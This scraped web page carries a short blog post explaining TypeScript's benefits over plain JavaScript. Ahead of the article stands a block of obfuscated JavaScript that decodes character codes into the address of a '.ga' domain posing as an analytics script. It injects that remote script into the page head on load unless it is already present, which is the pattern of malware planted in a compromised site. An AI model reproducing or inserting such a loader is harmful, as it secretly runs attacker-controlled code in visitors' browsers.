var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); Defining TypeScript and why it will make your code cleaner | Jacob Westman

TypeScript is a strongly typed superset of JavaScript, which means it adds some syntactical benefits to the language and then compiles it into JavaScript.

One of the key benefits of TypeScript includes debugging at compile time instead of runtime.

It encourages a more declarative style of programming and by defining types it is easier to spot when something goes wrong and get immediate feedback about it.

This is coping with the number one issue JavaScript is bad at which is ensuring that proper types is passed without tests.

So when would you want to use TypeScript in your projects?

When applications grow in size and the code base is getting bigger and bigger it has long been a common problem that things tend to get messy and end up becoming “spaghetti code”.

Design patterns like the “module pattern” where introduced to JavaScript to deal with this. By grouping and structuring the code and making that whole mess into some nice “ravioli” instead… mm yummy.

This worked out pretty well and still does and these design patterns are widely used to building enterprise applications today.

What TypeScript does is bringing extra flavour to the mix to get more maintainable code by “cleaning up” the application.

TypeScript is commonly used together with Angular 2 and that is how it really started to grow in popularity. The beauty of this is that it can be used with any framework or library such as i.e. React.

In fact when I first started out using TypeScript I did so in Angular 2 and omitted it in React. Today I prefer to use it in most react apps that I create.

Can TypeScript make me a better JavaScript-programmer?

Now another benefit that TypeScript brings, which is a personal opinion of mine (and may be widely opinionated) – is that I believe that it can actually make it easier for new developers to learn JavaScript.

It forces you to think a step further and really care about what and how you declare things like variables and functions etc.

Now of course I do suggest that if you are starting out as a programmer you should really take your time to understand the core basics of the JavaScript language and play around with it.

It is really up to you to make a decision when you feel it’s time to add an extra layer to your coding. As for most things in this world, it should come naturally to you.

If you consider yourself someone of this audience, feel free to comment on the thread below, I’d love to hear your story!